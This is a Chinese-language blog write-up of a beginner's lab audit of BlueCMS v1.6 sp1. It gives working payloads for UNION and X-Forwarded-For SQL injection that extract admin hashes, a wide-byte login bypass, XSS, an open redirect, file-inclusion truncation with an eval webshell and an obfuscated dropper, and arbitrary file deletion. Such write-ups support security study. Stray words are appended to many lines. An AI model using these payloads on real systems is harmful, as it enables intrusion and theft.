源码在网上很容易下载,不少教程说访问地址 http://localhost/bluecms_v1.6_sp1/uploads/install/ 就会进入到安装界面。这里我遇到了一点小问题,访问地址后显示空白,没法进行安装,解决方式是 phpstudy 打开容许目录列表,而且在 bluecms_v1.6_sp1\uploads\install\compile 目录下删掉图中 php 文件,再访问一次安装地址就能够了,而后按照提示进行数据库配置便可成功搭建。php
用Seay源代码审计系统扫一下,能够发现有不少可能的漏洞,有一些误报,具体审计一下代码吧,先看一下 ad_js.php 文件html
定位到该条语句前端
getone() 是自定义的查询数据库的函数,跟进一下,能够看到插入到数据库查询语句中的 $ad_id 除了 trim 去掉两边空格没有任何的过滤,于是致使了数字型SQL注入,虽然 ad_js.php 还包含了 common.inc.php 文件,common.inc.php 进行了 addslashes($_GET) 转义,可是因为SQL语句中的变量没有使用单引号保护,addslashes 也同时失去了做用mysql
function getone($sql, $type=MYSQL_ASSOC){ $query = $this->query($sql,$this->linkid); $row = mysql_fetch_array($query, $type); return $row; }
利用一下这个漏洞,由于方法很常规就只注入到列出表名linux
http://192.168.25.130/bluecms_v1.6_sp1/uploads/ad_js.php?ad_id=-1 order by 7 http://192.168.25.130/bluecms_v1.6_sp1/uploads/ad_js.php?ad_id=-1 UNION SELECT 1,2,3,4,5,6,7//页面空白,查看源码发现打印第7列 http://192.168.25.130/bluecms_v1.6_sp1/uploads/ad_js.php?ad_id=-1 UNION SELECT 1,2,3,4,5,6,database() http://192.168.25.130/bluecms_v1.6_sp1/uploads/ad_js.php?ad_id=-1 UNION SELECT 1,2,3,4,5,6,group_concat(table_name) from information_schema.tables where table_schema=database()
接着查看 Seay 扫到的可疑注入点,看一下 /uploads/include/common.fun.php 代码git
$ip 的值从 HTTP_CLIENT_IP、HTTP_X_FORWARDED_FOR 等变量中得到,HTTP_CLIENT_IP 这个环境变量没有成标准,不少服务器无法获取。而第二个 HTTP_X_FORWARDED_FOR 能够经过 HTTP 请求头来修改github
/** * 获取用户IP */ function getip(){ if (getenv('HTTP_CLIENT_IP')){ $ip = getenv('HTTP_CLIENT_IP'); }elseif (getenv('HTTP_X_FORWARDED_FOR')) { //获取客户端用代理服务器访问时的真实ip 地址 $ip = getenv('HTTP_X_FORWARDED_FOR'); }elseif (getenv('HTTP_X_FORWARDED')) { $ip = getenv('HTTP_X_FORWARDED'); }elseif (getenv('HTTP_FORWARDED_FOR')){ $ip = getenv('HTTP_FORWARDED_FOR'); }elseif (getenv('HTTP_FORWARDED')){ $ip = getenv('HTTP_FORWARDED'); }else{ $ip = $_SERVER['REMOTE_ADDR']; } return $ip; }
全局搜索一下这个函数,除了函数定义之外一共有两处sql
查看 comment.php 代码,getip() 获取到的 $ip,直接插入到了SQL语句中,没有过滤就执行了,这里是存在SQL注入的。数据库
利用一下这个漏洞,从 comment.php 代码能够推断出,SQL注入出如今对文章进行评论的地方。在模拟发布文章时出现一点问题,发布文章时必定选择新闻分类,可是管理员和普通用户都不能建立分类,只好先把限制分类不能为空的代码注释掉。windows
首页->会员中心->本地新闻->发布新闻(这里发现写中文内容的话会显示为空,因此测试内容都须要写英文),先评论测试一下,看一下数据表记录的字段默认值
显然回显的位置在 content 字段,因此能够构造 X-Forwarded-For 值注入,先补充前一次查询的 ip 和 is_check 字段完成第一次插入,再构造第二次插入,同时要注意闭合本来语句中的单引号。评论时进行抓包改包,能够看到成功注入而且在评论列表有回显,查到数据库是 bluecms,直接查一下管理员用户名及密码哈希值也能够成功获取。
X-Forwarded-For: 1','1' ),("",'2','2','1','6',(database()),'1','1 X-Forwarded-For: 1','1' ),("",'2','2','1','6',(select concat(admin_name,":",pwd) from blue_admin),'1','1
这样插入完成后的完整 sql 语句是,显然这里的 ip 字段也能够控制,能够在注入的同时达到伪造 ip 的效果
$sql = INSERT INTO ".table('blue_comment')." (com_id, post_id, user_id, type, mood, content, pub_date, ip, is_check) VALUES ('', '$id', '$user_id', '$type', '$mood', '$content', '$timestamp', '1','1'),('','2','2','1','6',(select concat(admin_name,':',pwd) from blue_admin),'1','1', '$is_check')";
再从全局搜索看 getip() 函数出现的另外一处 common.inc.php,getip() 赋值给变量 $online_ip,再全局搜索这个变量,发如今留言板界面变量也是没有通过过滤,直接插入查询语句,存在SQL注入
利用一下漏洞,测试时发现不管是否留言都会弹出留言内容不能为空,修改前端代码注释掉这个函数,路径是 bluecms_v1.6_sp1\uploads\templates\default\guest_book.htm
由于显然回显位置在 content 字段,因此构造一次插入语句就能够了,能够看到成功注出数据库
X-Forwarded-For: 1',database())-- -
在 common.inc.php 中注意到数据库编码使用的是 gb2312,这有可能致使宽字节注入
找到管理员登陆的 bluecms_v1.6_sp1\uploads\admin\login.php,发现验证用户帐号密码的函数为 check_admin
在 bluecms_v1.6_sp1\uploads\admin\include\common.fun.php 文件中找到了 check_admin 函数定义,SQL语句变量使用单引号保护,可是 getone() 函数在2.1小节已经分析过了,没有任何的过滤
function check_admin($name, $pwd) { global $db; $row = $db->getone("SELECT COUNT(*) AS num FROM ".table('admin')." WHERE admin_name='$name' and pwd = md5('$pwd')"); if($row['num'] > 0) { return true; } else { return false; } }
而且 login.php 还包含了 bluecms_v1.6_sp1\uploads\admin\include\common.inc.php,这里是将 $_POST 数据进行 addslashes 转义的,恰好能够利用 %df 让转义的反斜线失去做用
if(!get_magic_quotes_gpc()) { $_POST = deep_addslashes($_POST); $_GET = deep_addslashes($_GET); $_COOKIES = deep_addslashes($_COOKIES); $_REQUEST = deep_addslashes($_REQUEST); }
利用一下漏洞,成功以管理员身份登陆(注意直接在浏览器输入 %df 会被 urlencode,因此应该抓包发送)
在 user.php 文件,用户发布新闻功能,发现 content 没有使用 htmlspecialchars() 函数,而是 filter_data(),跟踪看一下,在 /uploads/include/common.fun.php 找到函数定义代码,只过滤了 script,iframe,frame,meta,link 等,这里能够用 a,img 等标签绕过
function filter_data($str) { $str = preg_replace("/<(\/?)(script|i?frame|meta|link)(\s*)[^<]*>/", "", $str); return $str; }
利用一下漏洞,由于前端代码还会过滤一些敏感字符,因此因此不直接提交攻击代码,抓包修改 payload,能够看到漏洞利用成功
<img src="" onerror="alert(123456)">
在 user.php 中,很明显 $act == 'do_login' 是登陆功能,看到有一个 $from 变量,再结合登陆成功后显示回到该变量指向参数,能够猜想这个 $from 保存来源 url,方便用户登录后回到原来浏览的页面
全局搜索 $from 并无被其余函数过滤,直接利用一下(注意 $from 应该和源代码同样 base64 加密),将 http://www.baidu.com 编码为 aHR0cDovL3d3dy5iYWlkdS5jb20= 改包放包后能够看到页面成功跳转到百度
user.php 的支付功能,能够经过 $_POST['pay'] 控制文件包含的路径,可是后面拼接了 /index.php
有两种方式能够截断
绕过方法1:%00 截断
条件:magic_quotes_gpc = Off,PHP版本<5.3.4
绕过方法2:路径长度截断
条件:windows 下目录路径最大长度为256字节,超出部分将丢弃;linux 下目录最大长度为4096字节,超出长度将丢弃;PHP版本<5.2.8
因为本地搭建版本是5.4.45,降到 5.2.17 测试一下这个漏洞,这里包含的时候遇到个小问题,注意它的路径是 include 'include/payment/'.$_POST['pay']."/index.php"; 是找这个的相对路径不是 user.php 的
我的资料中能够上传我的头像,上传一个内容为 <?php @eval($_POST['apple']);?> 的 hack.jpg,再查看下路径
文件包含图片马成功
还看到其余方法,在图片中插入从新写入一个马 apple.php 的代码,这样生成新马后蚁剑管理起来会比图片马方便不少
<?php @fputs(fopen(base64_decode('YXBwbGUucGhw'),w),base64_decode('PD9waHAgQGV2YWwoJF9QT1NUWydhcHBsZSddKTs/Pg=='));?>
包含一下,看到目录下成功生成木马 apple.php
user.php 的编辑我的资料功能,直接调用 unlink 函数删除 $_POST['face_pic3'],没有进行相应的检查,存在任意文件删除漏洞
利用一下漏洞,抓包修改 act=edit_user_info ,post 添加 face_pic3,成功删除2.7小节写入的木马 apple.php
第一次尝试作cms审计,同种利用方式的漏洞只写了一处,还有一些漏洞没有一一列举出来。bluecms 算是一次入门级的复现加一些本身的思考吧,但愿这篇随笔能够在理清本身思路的同时帮助到像我同样的初学者。
此次 cms 审计学习到审计工具存在一些误报,不能过分依赖。跟踪用户输入、查看变量的传递过程,发现一些问题时回溯变量,或者直接挖掘功能点的漏洞,对个别文章进行通读,全局搜索易发生漏洞的函数,按照经验直接测试一些常见的漏洞都是颇有效的方法。
还有,读着前辈的代码想起本身上学期的数据库课设,先后端写在一块儿,逻辑没有这么清晰,也没注意安全方面。这份代码虽然陌生,可是逻辑和功能都很明确,很快就能够明白开发者的思路,下次再有机会作PHP开发要好好借鉴经验啦.
参考:
https://blog.szfszf.top/tech/%E4%BB%A3%E7%A0%81%E5%AE%A1%E8%AE%A1-bluecms-v1-6/